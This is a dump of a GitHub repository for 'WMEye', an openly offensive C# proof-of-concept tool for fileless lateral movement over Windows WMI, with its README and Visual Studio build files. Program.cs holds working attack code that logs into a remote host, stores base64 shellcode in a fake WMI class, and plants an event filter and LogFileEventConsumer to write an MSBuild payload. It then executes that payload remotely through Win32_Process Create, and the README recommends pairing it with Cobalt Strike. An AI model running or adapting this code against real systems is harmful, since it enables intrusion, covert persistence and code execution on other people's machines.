├── LICENSE
├── README.md
├── msbuild
└── buildconfig.xml
├── wmeye.gif
├── wmeye.sln
└── wmeye
├── App.config
├── Program.cs
├── Properties
└── AssemblyInfo.cs
├── bin
└── x64
│ └── Debug
│ └── wmeye.exe.config
├── obj
├── Debug
│ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ └── wmeye.csprojAssemblyReference.cache
└── x64
│ └── Debug
│ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ ├── wmeye.csproj.CoreCompileInputs.cache
│ └── wmeye.csproj.FileListAbsolute.txt
└── wmeye.csproj
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 Sudheer
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # WMEye
2 |
3 | WMEye is an experimental tool that was developed when exploring about Windows WMI. The tool is developed for performing Lateral Movement using WMI and remote MSBuild Execution. It uploads the encoded/encrypted shellcode into remote targets WMI Class Property, create an event filter that when triggered writes an MSBuild based Payload using a special WMI Class called LogFileEventConsumer and finally executes the payload remotely.
4 |
5 | # UseCase
6 | Fileless Lateral Movement using WMI, can be used with Cobalt Strike's Execute-Assembly
7 |
8 | **Note**: This is still in experimental stage and no where near to be used in a real engagement.
9 |
10 | # Preview
11 |
12 | 
13 |
14 | # Current Working
15 |
16 | - Creates a Remote WMI Class
17 | - Writes Shellcode as property value to the above created Fake WMI Class
18 | - Creates a WMI Event Filter to trigger on powershell.exe process creation
19 | - On Event Trigger, it Uploads MSBuild Payload into remote system using LogFileEventConsumer (A WMI Consumer type to write Log Files)
20 | - Finally Invoke `Win32_Process Create` to call MSbuild remotely
21 |
22 | The MSBuild Payload fetches encoded shellcode from WMI Class Property, decodes and executes it.
23 |
24 | # Upcoming Features
25 |
26 | - Replace WIN32_Process Create method of invocation with something better
27 | - Add GZIP Compression for Shellcode and XML File Bytes
28 | - Add NTLM PTH Support
29 | - Add CleanUp Functions for removing event filter after the logfileeventconsumer finished writing the MSBuild Payload
30 |
31 |
32 | # Whats Unique in this Project ?
33 |
34 | - Uploads the encoded/encrypted shellcode to remote machines WMI property on a Created Fake Class (can maybe tweak to write shellcode into existing class's Property)
35 | - Uses LogFileEventConsumer to upload MSBuild File , instead of relying in spawning Powershell.exe using win32_process Create
36 |
37 |
38 | # Credits
39 |
40 | https://www.fireeye.de/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
41 |
42 |
43 |
--------------------------------------------------------------------------------
/msbuild/buildconfig.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
--------------------------------------------------------------------------------
/wmeye.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwn1sher/WMEye/9e2c415c70cf2539f3a78bae8cd5fd97f7abde87/wmeye.gif
--------------------------------------------------------------------------------
/wmeye.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30709.132
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "wmeye", "wmeye\wmeye.csproj", "{928120DC-5275-4806-B99B-12D67B710DC0}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {928120DC-5275-4806-B99B-12D67B710DC0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {928120DC-5275-4806-B99B-12D67B710DC0}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {928120DC-5275-4806-B99B-12D67B710DC0}.Debug|x64.ActiveCfg = Debug|x64
19 | {928120DC-5275-4806-B99B-12D67B710DC0}.Debug|x64.Build.0 = Debug|x64
20 | {928120DC-5275-4806-B99B-12D67B710DC0}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {928120DC-5275-4806-B99B-12D67B710DC0}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {928120DC-5275-4806-B99B-12D67B710DC0}.Release|x64.ActiveCfg = Release|x64
23 | {928120DC-5275-4806-B99B-12D67B710DC0}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {7DCDB001-0CD2-4858-977F-D630B5F50A93}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/wmeye/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/wmeye/Program.cs:
--------------------------------------------------------------------------------
1 | /*
2 | *
3 | * - Create a Remote WMI Class
4 | * - Write Shellcode as property value to the above created Class
5 | * - Create a WMI Event Filter to trigger on powershell.exe process creation
6 | * - On Event Trigger Upload MSBuild Payload into remote system using LogFileEventConsumer
7 | * - Finally Invoke `Win32_Process Create` to call MSbuild remotely
8 | *
9 | * The MSBuild Payload fetches encoded shellcode from WMI Class Property, decodes and executes it.
10 | *
11 | * [Author - 0xpwnisher]
12 | * Note: Its just a POC, Not at all safe for real engagements!
13 | *
14 | */
15 |
16 |
17 |
18 | using System;
19 | using System.Collections;
20 | using System.Collections.Generic;
21 | using System.Management;
22 | using System.Windows.Forms;
23 | using System.Text;
24 | using System.Diagnostics;
25 | using System.IO;
26 | using System.Runtime.InteropServices;
27 | using System.Threading;
28 |
29 |
30 |
31 | namespace WmEye
32 | {
33 | public class WmEye
34 | {
35 |
36 | public static void Main(string[] args)
37 | {
38 |
39 | // Handle CLI Args
40 |
41 | string hostname = args[0];
42 | string username = args[1];
43 | string password = args[2];
44 |
45 | Console.WriteLine("Hostname: {0}", hostname);
46 | Console.WriteLine("Username: {0}", username);
47 | Console.WriteLine("Password: {0}", password);
48 |
49 |
50 | if (hostname == "localhost")
51 | {
52 | UploadShellcode(hostname, null, null); // Uploads Shellcode into a remote class
53 | TriggerFileUpload(hostname, null, null); // Writes MSBuild Payload using WMI LogFileEventConsumer
54 | ExecutePayload(hostname, null, null); // Remote executes MSBuild Payload
55 |
56 | }
57 | else {
58 | UploadShellcode(hostname, username, password);
59 | TriggerFileUpload(hostname, username, password);
60 | ExecutePayload(hostname, username, password);
61 | }
62 |
63 | // Add a Scope Cleanup Method
64 |
65 | }
66 |
67 | // Fake WMI Classe and Property to Store Shellcode
68 |
69 | private static string ShellCodeUploadTempWMIClassName = "Win32_OSRecoveryConfigurationData";
70 | private static string ShellCodeUploadTempWMIPropertyName = "Description";
71 |
72 | private static string writePath = "C:\\mtioc.xml";
73 | private static string msbuildpath = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe ";
74 |
75 |
76 | // Function to initiate different scopes based on namespaces and return
77 | private static string InitiateConnection(ref ManagementScope scope, string host, string user, string password, string wmiNamespace)
78 | {
79 | ConnectionOptions options = new ConnectionOptions
80 | {
81 | Impersonation = ImpersonationLevel.Impersonate,
82 | Authentication = AuthenticationLevel.PacketPrivacy,
83 | EnablePrivileges = true,
84 | };
85 |
86 | if (!String.IsNullOrEmpty(user) && !String.IsNullOrEmpty(password))
87 | {
88 | options.Username = user;
89 | options.Password = password;
90 | }
91 |
92 |
93 | if (String.IsNullOrEmpty(wmiNamespace))
94 | {
95 | wmiNamespace = "root\\cimv2";
96 | }
97 |
98 | string fullNamespace;
99 | if (!String.IsNullOrEmpty(host))
100 | {
101 | fullNamespace = String.Format(@"\\{0}\{1}", host, wmiNamespace);
102 | }
103 | else
104 | {
105 | fullNamespace = String.Format(@"\\.\{0}", wmiNamespace);
106 | }
107 |
108 | try
109 | {
110 | if(host == "localhost") {
111 |
112 | scope = new ManagementScope(fullNamespace);
113 | scope.Connect();
114 | }
115 |
116 | scope = new ManagementScope(fullNamespace, options);
117 | scope.Connect();
118 | }
119 | catch (UnauthorizedAccessException)
120 | {
121 | return String.Format("Username: {0} with Password {1} threw an unauthorised exception\n", user, password);
122 | }
123 | catch (Exception e)
124 | {
125 | return String.Format("[!] WMI connection failed: {0}", e.Message);
126 | }
127 |
128 | return "";
129 | }
130 |
131 |
132 |
133 | public static void Consumertwo(string data, string hostname, string username, string password)
134 | {
135 |
136 | // Console.WriteLine(data);
137 |
138 | ManagementObject myEventFilter = null;
139 | ManagementObject myEventConsumer = null;
140 | ManagementObject myBinder = null;
141 |
142 |
143 | try
144 | {
145 |
146 | // want a replace filter which executes immediately
147 | // Trigger on next WMI Connection
148 |
149 | ConnectionOptions options = new ConnectionOptions();
150 |
151 | options.Username = username;
152 | options.Password = password;
153 |
154 |
155 | string wmiNameSpace = "root\\subscription";
156 | string fullscope = String.Format(@"\\{0}\{1}", hostname, wmiNameSpace);
157 | ManagementScope scope = new ManagementScope(fullscope, options);
158 | scope.Connect();
159 | ManagementClass wmiEventFilter = new ManagementClass(scope, new
160 | ManagementPath("__EventFilter"), null);
161 | String strQuery = @"SELECT * FROM __InstanceCreationEvent WITHIN 5 " +
162 | "WHERE TargetInstance ISA \"Win32_Process\" " +
163 | "AND TargetInstance.Name = \"powershell.exe\"";
164 |
165 | WqlEventQuery myEventQuery = new WqlEventQuery(strQuery);
166 | myEventFilter = wmiEventFilter.CreateInstance();
167 | myEventFilter["Name"] = "demoEventFilter";
168 | myEventFilter["Query"] = myEventQuery.QueryString;
169 | myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
170 | myEventFilter["EventNameSpace"] = @"\root\cimv2";
171 | myEventFilter.Put();
172 | Console.WriteLine("[*] Event filter created.");
173 |
174 | myEventConsumer =
175 | new ManagementClass(scope, new ManagementPath("LogFileEventConsumer"),
176 | null).CreateInstance();
177 | myEventConsumer["Name"] = "LogFile";
178 | myEventConsumer["Filename"] = writePath;
179 | myEventConsumer["Text"] = data;
180 | myEventConsumer.Put();
181 |
182 | Console.WriteLine("[*] Event consumer created.");
183 |
184 | myBinder =
185 | new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"),
186 | null).CreateInstance();
187 | myBinder["Filter"] = myEventFilter.Path.RelativePath;
188 | myBinder["Consumer"] = myEventConsumer.Path.RelativePath;
189 | myBinder.Put();
190 |
191 | Console.WriteLine("[*] Filter to Consumer binding created");
192 |
193 |
194 | }
195 | catch (Exception e)
196 | {
197 | Console.WriteLine(e);
198 | } // END CATCH
199 |
200 | }
201 |
202 |
203 |
204 | public static void TriggerFileUpload(string hostname, string username, string password)
205 | {
206 |
207 | string uploadFile = "C:\\magic.xml";
208 |
209 | if (!File.Exists(uploadFile))
210 | {
211 | Console.WriteLine("[-] Specified local file does not exist, not running PS runspace\n");
212 |
213 | }
214 |
215 | string content = File.ReadAllText(uploadFile);
216 |
217 |
218 | // string originalWMIProperty = Convert.ToBase64String(uploadFileBytes);
219 |
220 | // Console.WriteLine(content);
221 |
222 | if (hostname == "localhost")
223 | {
224 | Consumertwo(content, hostname, null, null);
225 | }
226 | else {
227 |
228 | Consumertwo(content, hostname, username, password);
229 | }
230 |
231 | // A cleanup method to clear the event filter,
232 | // else the MSBUild XML file gets overwritten
233 |
234 | CleanFilter();
235 |
236 |
237 | }
238 |
239 |
240 | public static void CleanFilter()
241 | {
242 |
243 | // Console.WriteLine("Remove the Event Filter after File is Written");
244 |
245 | // Check if File is written, if yes, remove the filter
246 |
247 | }
248 |
249 | public static void UploadShellcode(string host, string username, string password)
250 | {
251 |
252 |
253 | string className = ShellCodeUploadTempWMIClassName;
254 | string evilPropertyName = ShellCodeUploadTempWMIPropertyName;
255 |
256 | // Calc ShellCode
257 |
258 | var scope = new ManagementScope();
259 | string fileData = @"/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu+AdKgpoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlIGMA";
260 |
261 |
262 |
263 | string r = InitiateConnection(ref scope, host,username,password, "");
264 |
265 | // We're creating a static WMI class here
266 | ManagementObject evilClass = new ManagementClass(scope, null, null);
267 | evilClass["__CLASS"] = className;
268 | evilClass.Properties.Add(evilPropertyName, CimType.String, false);
269 | evilClass.Properties[evilPropertyName].Value = fileData.ToString();
270 |
271 | try
272 | {
273 | Console.WriteLine("[X] Uploading Shellcode into target");
274 | evilClass.Put();
275 | }
276 | catch (Exception ex)
277 | {
278 | Console.WriteLine("[X] Exception during setting the evil property : {0}", ex.Message);
279 | return;
280 | }
281 |
282 |
283 | Console.WriteLine("[X] ShellCode Property Created");
284 | }
285 |
286 |
287 |
288 | public static void ExecutePayload(string host, string username, string password)
289 | {
290 |
291 |
292 | var scope = new ManagementScope();
293 | string r = InitiateConnection(ref scope, host, username, password, "");
294 |
295 | // Invoke MSBuild using WIN32_Process Create Method for now
296 | // Replace later with VBScript or other WMI Class
297 |
298 | ObjectGetOptions optionons3 = new ObjectGetOptions();
299 | ManagementPath pather2 = new ManagementPath("Win32_Process");
300 | ManagementClass classInstance2 = new ManagementClass(scope, pather2, optionons3);
301 | ManagementBaseObject inParams2 = classInstance2.GetMethodParameters("Create");
302 |
303 | string Command = msbuildpath + writePath;
304 |
305 | inParams2["CommandLine"] = Command;
306 |
307 | Console.WriteLine("[X] Invoking : {0}", Command);
308 |
309 | ManagementBaseObject outParams2 = classInstance2.InvokeMethod("Create", inParams2, null);
310 |
311 |
312 | }
313 |
314 | }
315 |
316 | }
317 |
318 |
--------------------------------------------------------------------------------
/wmeye/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("wmeye")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("wmeye")]
13 | [assembly: AssemblyCopyright("Copyright © 2021")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("928120dc-5275-4806-b99b-12d67b710dc0")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/wmeye/bin/x64/Debug/wmeye.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/wmeye/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwn1sher/WMEye/9e2c415c70cf2539f3a78bae8cd5fd97f7abde87/wmeye/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/wmeye/obj/Debug/wmeye.csprojAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwn1sher/WMEye/9e2c415c70cf2539f3a78bae8cd5fd97f7abde87/wmeye/obj/Debug/wmeye.csprojAssemblyReference.cache
--------------------------------------------------------------------------------
/wmeye/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwn1sher/WMEye/9e2c415c70cf2539f3a78bae8cd5fd97f7abde87/wmeye/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/wmeye/obj/x64/Debug/wmeye.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 38aded80315e176e6b081f79dfb28dbd9fbb7ea1
2 |
--------------------------------------------------------------------------------
/wmeye/obj/x64/Debug/wmeye.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | Z:\wmeye\wmeye\obj\x64\Debug\wmeye.csproj.CoreCompileInputs.cache
2 | Z:\wmeye\wmeye\bin\x64\Debug\wmeye.exe.config
3 | Z:\wmeye\wmeye\bin\x64\Debug\wmeye.exe
4 | Z:\wmeye\wmeye\bin\x64\Debug\wmeye.pdb
5 | Z:\wmeye\wmeye\obj\x64\Debug\wmeye.exe
6 | Z:\wmeye\wmeye\obj\x64\Debug\wmeye.pdb
7 |
--------------------------------------------------------------------------------
/wmeye/wmeye.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {928120DC-5275-4806-B99B-12D67B710DC0}
8 | Exe
9 | wmeye
10 | wmeye
11 | v4.5
12 | 512
13 | true
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 | true
36 | bin\x64\Debug\
37 | DEBUG;TRACE
38 | full
39 | x64
40 | 7.3
41 | prompt
42 | true
43 |
44 |
45 | bin\x64\Release\
46 | TRACE
47 | true
48 | pdbonly
49 | x64
50 | 7.3
51 | prompt
52 | true
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
--------------------------------------------------------------------------------